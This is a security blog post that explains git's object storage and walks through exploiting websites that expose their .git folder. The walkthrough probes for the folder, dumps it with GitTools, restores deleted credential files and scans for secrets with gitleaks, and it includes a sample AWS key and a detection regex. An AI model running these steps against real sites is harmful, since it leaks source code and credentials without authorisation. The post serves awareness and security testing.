Exposed .git Directory Exploitation

Yani
InfoSec Write-ups
Published in
7 min readOct 22, 2022

--

(https://media.pitchfork.com/photos/5c1aaaabe35c444aebf1afb3/1:1/w_320,c_limit/sick%20boy_the%20chainsmokers.jpg)

Nearly two million .git folders containing vital project information are exposed to the public, the Cybernews research team found. Git is the most popular open-source distributed version control system. If you or your organization use git for code or repository, then you should consider the .git folder exposure might be a risk to your assets.

A .git folder contains essential information about remote repository address, commit history logs and other metadata. The source code will be leaked through the poor access control of .git folder. Sensitive data hardcoded in the code can be dug out within seconds with the aid of tools. This blog post will show you how to find the exposed .git folder on the website and identify hardcoded secrets inside .git folder.

Git Internals

A .git folder is created when you execute git init in case of a new project or you do git clone in case of pulling a project from somewhere else.

Git is a simple key-value data store. A .git directory looks like this:

config
description
HEAD
index
hooks/
info/
logs/
objects/
refs/

When you insert any kind of content into a Git repository, it will return a unique key for you to retrieve that content later. The .git folder stores the metadata and object for a project. Here “object“ includes “blob”, “tree”, “commit”, and “tag”.

  • blob — generally a file, is used to store file data
  • tree — basically like a directory - it references a bunch of other trees and/or blobs
  • commit — a single tree, marking it as what the project looked like at a certain point in time.
  • tag — a way to mark a specific commit as special in some way

Each object has hash value to be manipulated in Git.

If you have a simple project with the following directory structure:

$>tree
.
|-- README
`-- lib
|-- inc
| `-- tricks.rb
`-- mylib.rb

2 directories, 3 files

After you commit this to a Git repository, it would be represented like this:

(from http://shafiul.github.io/gitbook/assets/images/figure/objects-example.png)

A parent of the commit object in the above picture represents the immediately previous step in the history of the project. Only “root” commit doesn’t have parents, and represents the initial revision of a project.

To comb through all the objects, you can start with a commit object.

You don’t have to memorize these hashes accompanying objects as Git provides reference or refs , a file stored somewhere in .git/refs contains the hash of the commit object in the above picture.

The .git/refs folder structure looks similar to the following:

heads/
master
remotes/
tags/

Inside .git/refs/heads/, there are local branches in your repository with the filenames matching the name of corresponding branch.

For example, you have a branch named main , you can find the hash for the newest commit to main branch in the .git/refs/heads/main file , and each time you submit a new commit, the hash inside this main file changes.

$ cat .git/refs/heads/main
da09407c30b6f378fb15e660ac80a282f61d466a

You can examine the current commit with the commands as below

$ git log -1 main
commit da09407c30b6f378fb15e660ac80a282f61d466a
Author: ....


$ git show -s --pretty=raw da09407c30b6f3
commit da09407c30b6f378fb15e660ac80a282f61d466a
tree eb7a07fde7f8cf8dfd274bb6a5cf98997d91c5a6
parent 77fbaa460d95ba8144ebb75872c2fca865a41128

To retrieve the content of these objects, use the command git cat-file to examine the object content. Passing object hash to the command via -p to instruct the command to display the object content.

$ git cat-file -p eb7a07fde7f8cf8dfd274bb6a5cf98997d91c5a6
040000 tree 559d614af20026a8191d078d2c409885dc0b7c54 Java
100755 blob b0292c7d67b7cd41f538bbc574bb8acb198f8083 init.txt

$ git cat-file -p b0292c7d67b7cd41f538bbc574bb8acb198f8083
function name: backend
languange: nodejs

These objects are stored as data files in the .git/objects/<First-2-bytes>/<Last-38-bytes> folder. <First-2-bytes> and <Last-38-bytes> refers to SHA1-hash of the target object. For example, you can find the data file of b0292c7d67b7cd41f538bbc574bb8acb198f8083 object stored as 292c7d67b7cd41f538bbc574bb8acb198f8083 inside .git\objects\b0. Open file 292c7d67b7cd41f538bbc574bb8acb198f8083 file with Notepad ++, there is just garbled text inside.

It is because that object file 292c7d67b7cd41f538bbc574bb8acb198f8083 is compressed. You can decompress it using Ruby before read it.

ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < .git/objects/b0/292c7d67b7cd41f538bbc574bb8acb198f8083

Fun Part: To Exploit

Step 1: download the .git repository

To hunt for the exposed .git repository, you can simple add .git in the root URL of target website. Unfortunately at times you might encounter two different HTTP errors:

  • 404 Error - .git not exists in the server or wrong path
  • 403 Forbidden - .git exists, but you are not able to list the folder in that server

For the second error which can be caused by directory listing disabling on the server, you can continue to try files under .git folder like .git/config.

Once identify the exposed .git repository, the next step is to extract .git folder manually or use tools, for example, dumper.sh in GitTools repository to automate the process. The command line is like:

bash gitdumper.sh http://target/.git/ <dest-dir>

Note: the trailing slash after .git in the target URL http://target/.git/ can't be omitted, otherwise you will get an error:

###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########

[-] /.git/ missing in url

Step 2: probe .git folder

Once the download of .git is completed, you can view all the status of the entire local changes. For example if a developer deleted a file named credentials and made the commit for the change, you will see the credentials file deletion commit with git status command.

$ git status

# On branch master
# Changes not staged for commit:
# (use "git add/rm <file>..." to update what will be committed)
# (use "git checkout -- <file>..." to discard changes in working directory)
#
# deleted: credentials

no changes added to commit (use "git add" and/or "git commit -a")

The status results only shows the deleted file credentials, we can run git checkout -- . or git restore . to reset the local repository to the last commit to retrieve the deleted credentials file.

$ git checkout -- . 
$ ls
credentials

But if there are other files with sensitive data and being deleted in historical commits long before the last commit, how to retrieve the sensitive data inside these files? You might want to use git cat-file command to inspect all object files, but the manual probing process is tedious and strenuous.

There are some tools helping you out!

To start with, you can recover the source code using extractor.sh in GitTools.

$ extractor.sh ./ .git
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: bfe7e60fd375eddfc286e6aefdb360df0928aa0d
[+] Found file: /home/.../.git/0-bfe7e60fd375eddfc286e6aefdb360df0928aa0d/credentials
[+] Found commit: 6dba12c2c6f9fe9ad237cf25e5f7c82f7eac4adf
[+] Found commit: 30dbbdfb0e0eba2aa3f42b799d55cd35a2c431d6
...

Then go ahead to check the content of recovered files with the simple cat command until you find something valuable.

$ cat .git/0-bfe7e60fd375eddfc286e6aefdb360df0928aa0d/credentials

[default]
aws_access_key_id = AKIAY5LSWGTEN2Q4DRRFK
aws_secret_access_key = tJ9Ja....kJ/d9cktW

You can use another tool gitleak which is a SAST tool for detecting and preventing hardcoded secrets like passwords, api keys, and tokens in git repos. The gitleak tool uses rules to detect the secrets, you can customize your own rules in a configuration file and specify it in the command line with -c or --config flag.

To use gitleak searching for secrets in the dumped .git folder, navigate to the folder where .git folder resides and try the following commands:

$ docker pull zricethezav/gitleaks:latest
$ docker run --security-opt label:disable -v $(pwd):/tmp:z zricethezav/gitleaks:latest detect --source="/tmp" -v


│╲
│ ○
○ ░
░ gitleaks


Finding: ws_access_key_id = AKIAY5LSWGTEN2Q4DRRFK
Secret: AKIAY5LSWGTEN2Q4DRRFK
RuleID: aws-access-token
Entropy: 4.021928
File: credentials
Line: 1
Commit: 30dbbdfb0e0eba2aa3f42b799d55cd35a2c431d6
Author: ...
Email: ...
Date: 2022-10-22T05:58:44Z
Fingerprint: 30dbbdfb0e0eba2aa3f42b799d55cd35a2c431d6:credentials:aws-access-token:1

It identifies ws_access_key_id using a rule with RuleID aws-access-token.

As no configuration file is specified during the execution, the built-in configuration file gitleaks.toml is used, the aws-access-token rule inside gitleaks.toml is as below:

[[rules]]
description = "AWS"
id = "aws-access-token"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
keywords = [
"akia","agpa","aida","aroa","aipa","anpa","anva","asia",
]

Final Thoughts

If you have any questions or feedback, feel free to leave a comment. If you think this blog post is helpful, please click the clap 👏 button below a few times to show your support! You can also contact me via LinkedIn.

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!

--

--

Focusing on Security for Web Application, AWS and Kubernetes, etc. | CKA&CKS, AWS Security & ML Specialty | https://www.linkedin.com/in/yani-dong-041a1b120/